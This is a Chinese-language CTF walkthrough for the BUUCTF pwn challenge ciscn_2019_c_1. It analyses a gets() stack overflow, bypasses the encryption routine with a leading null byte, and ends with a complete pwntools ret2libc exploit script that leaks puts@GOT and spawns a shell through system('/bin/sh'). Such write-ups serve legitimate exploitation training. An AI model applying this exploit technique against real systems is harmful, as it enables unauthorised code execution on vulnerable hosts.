buuctf-ciscn_2019_c_1

文章目录

文件和保护机制检查

使用checksec和file来判断文件的保护机制以及文件

shell 复制代码
file ciscn_2019_c_1
checksec ciscn_2019_c_1

可以看到是64位程序,并且开启了NX保护

shell 复制代码
#使用./执行一下看程序的逻辑
./ciscn_2019_c_1

使用pe查壳

ida静态分析

使用ida pro先静态分析

可以看到这里使用了2个函数begin和encrypt,追踪查看

看到main中是一个while循环,当输入的值为1的时候,进入到encrypt函数

可以看到这里使用gets函数写入到s中,s是数组长度为48,中间就是一个异或过程

双击数组s,可以看到长度为0x50 ,又因为64位程序,我们加入8即可到达返回地址

但是这里有个需要注意的点:

**看到了一个函数------strlen(strlen的作用是得知字符串的长度,但是遇到'\0'就会停止)

**然后再下面就是把我们输入的东西加密的过程了,但是我们的脚本不能让它加密,加密了我们的脚本也就被破坏了,没用了,所以我们要让它在到strlen函数的时候停止 之后在进行我们的脚本

开头一个\x00进行输入,然后strlen就等于0,然后你输入的小于等于0,直接break,直接就跳出了这个循环之中,所有写的都写入了gets中没有任何运算

接着来看有没有可以直接溢出后返回的可用地址

明显没有例如system /bin/sh这样的字符串,那么这里就需要使用到re2libc了

64位程序的传参需要首先使用rdi,rsi,rdx,rcx,r8,r9,所以我们需要使用ROPgadget来寻找

shell 复制代码
ROPgadget  --binary ciscn_2019_c_1 --only "pop|ret"

这些都是可以使用的

构造ROP链

接着就需要来构造rop链了

分析ida我们看到是有一个puts函数的,我们可以使用rop链来暴露出来puts函数在got表中的地址,我们只需要返回地址加入puts_plt表的地址,参数设置为puts_got表的地址,就可以暴露出来puts函数的地址,即

shell 复制代码
垃圾数据
pop_rdi_ret_addr
put_got_addr
put_plt_addr
main_addr
##最后回到main函数,不让程序结束,继续发送payload构造第二次攻击,拿到shell

这样之后,再一次利用得到的puts_got表中的地址,和puts函数在当前的libc库中的偏移地址得到libc的基地址,然后利用system和bin/sh的偏移量得到system和bin/sh的地址,然后继续构造栈帧即可!

shell 复制代码
垃圾数据
ret_addr
pop_rdi_ret_addr
bin_sh_addr
system_addr

#这里ret_addr是因为我们在64位程序中调用了system函数,存在一个栈对齐问题,在x64架构中,System V AMD64 ABI调用约定要求函数调用时栈指针必须16字节对齐
#如果不调用ret地址,就会导致段错误,从而报错,所以这里可以多次测试,如果不报错就尅也不加入ret地址,如果报错就加入ret地址即可!

大体的思路分析完成之后,就可以构造exp来攻击了

  • 如果需要知道本地libc的地址使用ldd命令
shell 复制代码
ldd ciscn_2019_c_1

exp

python 复制代码
from pwn import *
from LibcSearcher import *
########################################################################################################################
con=0
if con:
    print('当前程序是32位的:')
    sleep(3)
    context(log_level='debug', arch='i386', os='linux')
else:
    print("当前程序是64位的")
    sleep(3)
    context(log_level='debug', arch='amd64', os='linux')

context.terminal = ['tmux', 'splitw', '-h']
########################################################################################################################
def test_attach():
    gdb.attach(io)
    pause()
def p():
    pause()
########################################################################################################################
# 文件名
filename ='文件地址'
libc_addr='libc地址'
elf=ELF(filename)
libc1 = ELF(libc_addr)
########################################################################################################################
#连接方式
debug = 0
#node5.buuoj.cn:26635
if debug:
    io = remote('远程主机地址', 端口号)
    print('############################################################')
    print('准备开始打远程:')
    sleep(1)
else:
    io=process(filename)
    print('############################################################')
    print('准备开始打本地:')
    sleep(1)
########################################################################################################################
padding=0x4F+8                 #因为有strlen函数,所以发送一个0x49第一个字节发送\0
puts_plt=elf.plt['puts']			 #寻找plt表中puts函数的地址
puts_got=elf.got['puts']			 #寻找got表中puts函数地址
main_addr=elf.symbols['main']  #寻找程序中main函数地址
ret_addr=0x04006b9						 #使用ROPgadget找的ret地址
pop_rdi_ret=0x400c83					 #使用ROPgadget找的pop_rdi_ret地址

print(f'main函数的地址为:{hex(main_addr)}')
print('put_plt表的地址为:',hex(puts_plt))
print('put_got表的地址为:',hex(puts_got))		#这里确保地址不出错误,可以和idapro中分析的地址做对比
payload=b'\00'+b'a'*padding			#填满垃圾数据
payload+=p64(pop_rdi_ret)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main_addr)
##按照上述思路中的内容写的

########################################################################################################################
test1='Input your choice!\n'
test2='Input your Plaintext to be encrypted\n'##这是两个接收条件,按照题来分析得到

########################################################################################################################

print('准备开始发送数据包:')
sleep(1)
#io.sendafter(test1,b'1')
print('开始发送第一个数据1:')
io.sendlineafter(test1,'1')	#发送1进入encrypt函数
sleep(1)
print('开始发送payload:')
io.sendlineafter(test2,payload)
sleep(2)
print('开始接收数据:')
io.recvline()
io.recvline()			#这里必须接收两个值,第二个接收的值是'\n' 如果只是接收一个后续就不会接收到put_gots表中的内容,这里我做了多次测试得到的结果
b=io.recvuntil('\n')[:-1].ljust(8, b'\x00')	#由于这里会接收到一个随机的十六机制的值,但是是以\n结尾的,所以这里需要去掉\n取8位,所以不足的需要补充\00
print('截取的数据包为:',b)
puts_got_addr=u64(b)
print("u64解包之后的数据包为:",puts_got_addr)
print('十六进制之后的数据包为:',hex(puts_got_addr))

########################################################################################################################
libc=0	
if libc:
    print('使用libcsearch来寻找')			
    sleep(3)
    libc=LibcSearcher("puts",puts_got_addr)							#根据泄露的函数地址,自动识别目标系统使用的libc版本
    libcbase_addr=puts_got_addr-libc.dump("puts")				#求出来基地址
    print(f'libc基地址为:{hex(libcbase_addr)}')
    system_addr=libcbase_addr+libc.dump('system')				#利用基地址和偏移量得到system地址
    bin_sh_addr=libcbase_addr+libc.dump('str_bin_sh')		#利用基地址和偏移量得到bin/sh地址
    print(f'system在libc中的地址为:{hex(system_addr)}')
    print(f'/bin/sh在libc中的地址为:{hex(bin_sh_addr)}')
else:
    print('使用本地libc来寻找')													#如果要使用本地libc需要知道本地libc地址
    sleep(3)
    libcbase_addr = puts_got_addr - libc1.symbols['puts']
    system_addr = libcbase_addr + libc1.sym['system']
    bin_sh_addr = libcbase_addr + libc1.search(b'/bin/sh\x00').__next__()			#本地获取/bin/sh地址的时候有些许的不同,这个好像是固定格式
    print(f'libc基地址为:{hex(libcbase_addr)}')
    print(f'system在libc中的地址为:{hex(system_addr)}')
    print(f'/bin/sh在libc中的地址为:{hex(bin_sh_addr)}')
########################################################################################################################
payload1=b'\00'+b'a'*padding				#构造第二次栈帧发送数据即可!
payload1+=p64(ret_addr)
payload1+=p64(pop_rdi_ret)
payload1+=p64(bin_sh_addr)
payload1+=p64(system_addr)
io.sendlineafter(test1,'1')
io.sendlineafter(test2,payload1)		#按照我们上面的思路构造栈帧即可
########################################################################################################################
print('发送成功')
io.interactive()

可以看到这里就成功getshell了!
re2libc最重要的是思路,有了思路之后,payload构造就十分简单了,这里提供一个思路.

相关推荐
大方子21 小时前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha1 天前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络1 天前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd1 天前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你1 天前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha2 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
liann1192 天前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20252 天前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信
旺仔Sec2 天前
一文带你看懂免费开源 WAF 天花板!雷池 (SafeLine) 部署与实战全解析
web安全·网络安全·开源·waf
七牛云行业应用2 天前
Moltbook一夜崩盘:150万密钥泄露背后的架构“死穴”与重构实战
网络安全·postgresql·架构·高并发·七牛云